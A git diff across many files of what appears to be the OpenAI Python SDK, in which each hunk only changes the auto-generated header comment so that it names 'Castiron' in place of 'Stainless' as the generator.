diff --git a/src/openai/resources/realtime/calls.py b/src/openai/resources/realtime/calls.py
index 140b3101f9..d622dce409 100644
--- a/src/openai/resources/realtime/calls.py
+++ b/src/openai/resources/realtime/calls.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/realtime/client_secrets.py b/src/openai/resources/realtime/client_secrets.py
index 7478e35e27..f947712f2d 100644
--- a/src/openai/resources/realtime/client_secrets.py
+++ b/src/openai/resources/realtime/client_secrets.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 906884063c..8989d9448d 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/responses/__init__.py b/src/openai/resources/responses/__init__.py
index 51d318ad8d..1b7c209a7d 100644
--- a/src/openai/resources/responses/__init__.py
+++ b/src/openai/resources/responses/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .responses import (
Responses,
diff --git a/src/openai/resources/responses/input_items.py b/src/openai/resources/responses/input_items.py
index 1d3ed62543..9aaf553f22 100644
--- a/src/openai/resources/responses/input_items.py
+++ b/src/openai/resources/responses/input_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/responses/input_tokens.py b/src/openai/resources/responses/input_tokens.py
index 3306dfcd65..1d313d1190 100644
--- a/src/openai/resources/responses/input_tokens.py
+++ b/src/openai/resources/responses/input_tokens.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 32c63f7311..b00c634674 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/skills/__init__.py b/src/openai/resources/skills/__init__.py
index 07f4d6729d..cb44bdb984 100644
--- a/src/openai/resources/skills/__init__.py
+++ b/src/openai/resources/skills/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .skills import (
Skills,
diff --git a/src/openai/resources/skills/content.py b/src/openai/resources/skills/content.py
index d0639a5a52..eedbb90b23 100644
--- a/src/openai/resources/skills/content.py
+++ b/src/openai/resources/skills/content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/skills/skills.py b/src/openai/resources/skills/skills.py
index aeea43ca3e..0ad1b42587 100644
--- a/src/openai/resources/skills/skills.py
+++ b/src/openai/resources/skills/skills.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/skills/versions/__init__.py b/src/openai/resources/skills/versions/__init__.py
index c9ad6fbbca..34877efb8b 100644
--- a/src/openai/resources/skills/versions/__init__.py
+++ b/src/openai/resources/skills/versions/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .content import (
Content,
diff --git a/src/openai/resources/skills/versions/content.py b/src/openai/resources/skills/versions/content.py
index 173f94e4e1..c72c8c4f08 100644
--- a/src/openai/resources/skills/versions/content.py
+++ b/src/openai/resources/skills/versions/content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/skills/versions/versions.py b/src/openai/resources/skills/versions/versions.py
index d688d2917c..17f85a13ec 100644
--- a/src/openai/resources/skills/versions/versions.py
+++ b/src/openai/resources/skills/versions/versions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/uploads/__init__.py b/src/openai/resources/uploads/__init__.py
index 12d1056f9e..80ef669a9d 100644
--- a/src/openai/resources/uploads/__init__.py
+++ b/src/openai/resources/uploads/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .parts import (
Parts,
diff --git a/src/openai/resources/uploads/parts.py b/src/openai/resources/uploads/parts.py
index a0c1e15223..d04b037b44 100644
--- a/src/openai/resources/uploads/parts.py
+++ b/src/openai/resources/uploads/parts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/uploads/uploads.py b/src/openai/resources/uploads/uploads.py
index 6c8c347f97..fa6b580df9 100644
--- a/src/openai/resources/uploads/uploads.py
+++ b/src/openai/resources/uploads/uploads.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/vector_stores/__init__.py b/src/openai/resources/vector_stores/__init__.py
index 96ae16c302..6f81d6786f 100644
--- a/src/openai/resources/vector_stores/__init__.py
+++ b/src/openai/resources/vector_stores/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .files import (
Files,
diff --git a/src/openai/resources/vector_stores/file_batches.py b/src/openai/resources/vector_stores/file_batches.py
index 4bde1a4aa6..6e48c2d07b 100644
--- a/src/openai/resources/vector_stores/file_batches.py
+++ b/src/openai/resources/vector_stores/file_batches.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/vector_stores/files.py b/src/openai/resources/vector_stores/files.py
index b7e1ea9f92..69534b0c99 100644
--- a/src/openai/resources/vector_stores/files.py
+++ b/src/openai/resources/vector_stores/files.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/vector_stores/vector_stores.py b/src/openai/resources/vector_stores/vector_stores.py
index e4c5d1440c..826f808e5b 100644
--- a/src/openai/resources/vector_stores/vector_stores.py
+++ b/src/openai/resources/vector_stores/vector_stores.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/videos.py b/src/openai/resources/videos.py
index e9bad80afe..090ab62fa9 100644
--- a/src/openai/resources/videos.py
+++ b/src/openai/resources/videos.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/resources/webhooks/__init__.py b/src/openai/resources/webhooks/__init__.py
index 66449ee7e3..706eb909d0 100644
--- a/src/openai/resources/webhooks/__init__.py
+++ b/src/openai/resources/webhooks/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .webhooks import Webhooks as _Webhooks, AsyncWebhooks as _AsyncWebhooks
diff --git a/src/openai/resources/webhooks/webhooks.py b/src/openai/resources/webhooks/webhooks.py
index 8d99568aad..9a6e2ae42a 100644
--- a/src/openai/resources/webhooks/webhooks.py
+++ b/src/openai/resources/webhooks/webhooks.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/__init__.py b/src/openai/types/__init__.py
index e855bc06f7..a27bb84328 100644
--- a/src/openai/types/__init__.py
+++ b/src/openai/types/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/__init__.py b/src/openai/types/admin/__init__.py
index f8ee8b14b1..273c8b57af 100644
--- a/src/openai/types/admin/__init__.py
+++ b/src/openai/types/admin/__init__.py
@@ -1,3 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/__init__.py b/src/openai/types/admin/organization/__init__.py
index 4efdf659e2..035dcc55cb 100644
--- a/src/openai/types/admin/organization/__init__.py
+++ b/src/openai/types/admin/organization/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/admin_api_key.py b/src/openai/types/admin/organization/admin_api_key.py
index b9323dd465..945236c8be 100644
--- a/src/openai/types/admin/organization/admin_api_key.py
+++ b/src/openai/types/admin/organization/admin_api_key.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/admin_api_key_create_params.py b/src/openai/types/admin/organization/admin_api_key_create_params.py
index ac7b22ea30..3766a7fec3 100644
--- a/src/openai/types/admin/organization/admin_api_key_create_params.py
+++ b/src/openai/types/admin/organization/admin_api_key_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/admin_api_key_create_response.py b/src/openai/types/admin/organization/admin_api_key_create_response.py
index 58101a9e0a..1f56c43cf9 100644
--- a/src/openai/types/admin/organization/admin_api_key_create_response.py
+++ b/src/openai/types/admin/organization/admin_api_key_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .admin_api_key import AdminAPIKey
diff --git a/src/openai/types/admin/organization/admin_api_key_delete_response.py b/src/openai/types/admin/organization/admin_api_key_delete_response.py
index df8c5171d4..60016a0a24 100644
--- a/src/openai/types/admin/organization/admin_api_key_delete_response.py
+++ b/src/openai/types/admin/organization/admin_api_key_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/admin_api_key_list_params.py b/src/openai/types/admin/organization/admin_api_key_list_params.py
index c3b3f51008..a09b7f0ba0 100644
--- a/src/openai/types/admin/organization/admin_api_key_list_params.py
+++ b/src/openai/types/admin/organization/admin_api_key_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/audit_log_list_params.py b/src/openai/types/admin/organization/audit_log_list_params.py
index 4273a40e21..a00891ff33 100644
--- a/src/openai/types/admin/organization/audit_log_list_params.py
+++ b/src/openai/types/admin/organization/audit_log_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/audit_log_list_response.py b/src/openai/types/admin/organization/audit_log_list_response.py
index a19bfe5475..97d9d60b7d 100644
--- a/src/openai/types/admin/organization/audit_log_list_response.py
+++ b/src/openai/types/admin/organization/audit_log_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/certificate.py b/src/openai/types/admin/organization/certificate.py
index a8663b4e4a..beff324f6f 100644
--- a/src/openai/types/admin/organization/certificate.py
+++ b/src/openai/types/admin/organization/certificate.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/certificate_activate_params.py b/src/openai/types/admin/organization/certificate_activate_params.py
index 0bb6474c7c..730afd3e63 100644
--- a/src/openai/types/admin/organization/certificate_activate_params.py
+++ b/src/openai/types/admin/organization/certificate_activate_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/certificate_activate_response.py b/src/openai/types/admin/organization/certificate_activate_response.py
index 64239c3a93..9785131f12 100644
--- a/src/openai/types/admin/organization/certificate_activate_response.py
+++ b/src/openai/types/admin/organization/certificate_activate_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/certificate_create_params.py b/src/openai/types/admin/organization/certificate_create_params.py
index 9aeb3bbc94..8527fdec19 100644
--- a/src/openai/types/admin/organization/certificate_create_params.py
+++ b/src/openai/types/admin/organization/certificate_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/certificate_deactivate_params.py b/src/openai/types/admin/organization/certificate_deactivate_params.py
index 827af54d35..a5e10419fe 100644
--- a/src/openai/types/admin/organization/certificate_deactivate_params.py
+++ b/src/openai/types/admin/organization/certificate_deactivate_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/certificate_deactivate_response.py b/src/openai/types/admin/organization/certificate_deactivate_response.py
index 874251cadc..73015b29df 100644
--- a/src/openai/types/admin/organization/certificate_deactivate_response.py
+++ b/src/openai/types/admin/organization/certificate_deactivate_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/certificate_delete_response.py b/src/openai/types/admin/organization/certificate_delete_response.py
index b0dc1fa018..58d46e5b89 100644
--- a/src/openai/types/admin/organization/certificate_delete_response.py
+++ b/src/openai/types/admin/organization/certificate_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/certificate_list_params.py b/src/openai/types/admin/organization/certificate_list_params.py
index 1d9aff4b4a..b215769e2a 100644
--- a/src/openai/types/admin/organization/certificate_list_params.py
+++ b/src/openai/types/admin/organization/certificate_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/certificate_list_response.py b/src/openai/types/admin/organization/certificate_list_response.py
index 8d9816520f..6f61def047 100644
--- a/src/openai/types/admin/organization/certificate_list_response.py
+++ b/src/openai/types/admin/organization/certificate_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/certificate_retrieve_params.py b/src/openai/types/admin/organization/certificate_retrieve_params.py
index 29bc8dedc5..2bef2d0ab9 100644
--- a/src/openai/types/admin/organization/certificate_retrieve_params.py
+++ b/src/openai/types/admin/organization/certificate_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/certificate_update_params.py b/src/openai/types/admin/organization/certificate_update_params.py
index c55b3aceb2..c40c8b8cdd 100644
--- a/src/openai/types/admin/organization/certificate_update_params.py
+++ b/src/openai/types/admin/organization/certificate_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/data_retention_update_params.py b/src/openai/types/admin/organization/data_retention_update_params.py
index b6510e7955..47b948efb5 100644
--- a/src/openai/types/admin/organization/data_retention_update_params.py
+++ b/src/openai/types/admin/organization/data_retention_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/group.py b/src/openai/types/admin/organization/group.py
index 045980478f..7b066bcd12 100644
--- a/src/openai/types/admin/organization/group.py
+++ b/src/openai/types/admin/organization/group.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/group_create_params.py b/src/openai/types/admin/organization/group_create_params.py
index 8e27d299d3..80d3930085 100644
--- a/src/openai/types/admin/organization/group_create_params.py
+++ b/src/openai/types/admin/organization/group_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/group_delete_response.py b/src/openai/types/admin/organization/group_delete_response.py
index 6dec56e58d..d8f303cddb 100644
--- a/src/openai/types/admin/organization/group_delete_response.py
+++ b/src/openai/types/admin/organization/group_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/group_list_params.py b/src/openai/types/admin/organization/group_list_params.py
index 198478b35a..6dcece1cb4 100644
--- a/src/openai/types/admin/organization/group_list_params.py
+++ b/src/openai/types/admin/organization/group_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/group_update_params.py b/src/openai/types/admin/organization/group_update_params.py
index 2bb3a9d8fe..f678602200 100644
--- a/src/openai/types/admin/organization/group_update_params.py
+++ b/src/openai/types/admin/organization/group_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/group_update_response.py b/src/openai/types/admin/organization/group_update_response.py
index 1ae6f86a64..6a576bcdcf 100644
--- a/src/openai/types/admin/organization/group_update_response.py
+++ b/src/openai/types/admin/organization/group_update_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ...._models import BaseModel
diff --git a/src/openai/types/admin/organization/groups/__init__.py b/src/openai/types/admin/organization/groups/__init__.py
index 884cc0d92f..9364b8cb58 100644
--- a/src/openai/types/admin/organization/groups/__init__.py
+++ b/src/openai/types/admin/organization/groups/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/groups/organization_group_user.py b/src/openai/types/admin/organization/groups/organization_group_user.py
index 792022c4a9..7b0f4e8ca4 100644
--- a/src/openai/types/admin/organization/groups/organization_group_user.py
+++ b/src/openai/types/admin/organization/groups/organization_group_user.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/admin/organization/groups/role_create_params.py b/src/openai/types/admin/organization/groups/role_create_params.py
index 0ebc196eef..5c676ce8d9 100644
--- a/src/openai/types/admin/organization/groups/role_create_params.py
+++ b/src/openai/types/admin/organization/groups/role_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/groups/role_create_response.py b/src/openai/types/admin/organization/groups/role_create_response.py
index 8f82bfc542..5bcc8880a0 100644
--- a/src/openai/types/admin/organization/groups/role_create_response.py
+++ b/src/openai/types/admin/organization/groups/role_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/groups/role_delete_response.py b/src/openai/types/admin/organization/groups/role_delete_response.py
index fb6a111614..7368e73178 100644
--- a/src/openai/types/admin/organization/groups/role_delete_response.py
+++ b/src/openai/types/admin/organization/groups/role_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ....._models import BaseModel
diff --git a/src/openai/types/admin/organization/groups/role_list_params.py b/src/openai/types/admin/organization/groups/role_list_params.py
index 451a1a2045..a40ea7da9e 100644
--- a/src/openai/types/admin/organization/groups/role_list_params.py
+++ b/src/openai/types/admin/organization/groups/role_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/groups/role_list_response.py b/src/openai/types/admin/organization/groups/role_list_response.py
index fc64f8e9a0..3d3096fc7b 100644
--- a/src/openai/types/admin/organization/groups/role_list_response.py
+++ b/src/openai/types/admin/organization/groups/role_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/groups/role_retrieve_response.py b/src/openai/types/admin/organization/groups/role_retrieve_response.py
index 576010daad..6b1638a388 100644
--- a/src/openai/types/admin/organization/groups/role_retrieve_response.py
+++ b/src/openai/types/admin/organization/groups/role_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/groups/user_create_params.py b/src/openai/types/admin/organization/groups/user_create_params.py
index ec30b46f1c..1ad4d918c6 100644
--- a/src/openai/types/admin/organization/groups/user_create_params.py
+++ b/src/openai/types/admin/organization/groups/user_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/groups/user_create_response.py b/src/openai/types/admin/organization/groups/user_create_response.py
index 508f51747e..893ca151a5 100644
--- a/src/openai/types/admin/organization/groups/user_create_response.py
+++ b/src/openai/types/admin/organization/groups/user_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/groups/user_delete_response.py b/src/openai/types/admin/organization/groups/user_delete_response.py
index 3b484a9baf..3416a4c7f4 100644
--- a/src/openai/types/admin/organization/groups/user_delete_response.py
+++ b/src/openai/types/admin/organization/groups/user_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/groups/user_list_params.py b/src/openai/types/admin/organization/groups/user_list_params.py
index 09bcfb1ba7..824bdd71d0 100644
--- a/src/openai/types/admin/organization/groups/user_list_params.py
+++ b/src/openai/types/admin/organization/groups/user_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/groups/user_retrieve_response.py b/src/openai/types/admin/organization/groups/user_retrieve_response.py
index 977db3577f..94acfd3f39 100644
--- a/src/openai/types/admin/organization/groups/user_retrieve_response.py
+++ b/src/openai/types/admin/organization/groups/user_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/invite.py b/src/openai/types/admin/organization/invite.py
index a3d2c50438..31eca26cb6 100644
--- a/src/openai/types/admin/organization/invite.py
+++ b/src/openai/types/admin/organization/invite.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/invite_create_params.py b/src/openai/types/admin/organization/invite_create_params.py
index 51430d8694..b06320f51c 100644
--- a/src/openai/types/admin/organization/invite_create_params.py
+++ b/src/openai/types/admin/organization/invite_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/invite_delete_response.py b/src/openai/types/admin/organization/invite_delete_response.py
index 1a8aa0ce2f..47f5aa268a 100644
--- a/src/openai/types/admin/organization/invite_delete_response.py
+++ b/src/openai/types/admin/organization/invite_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
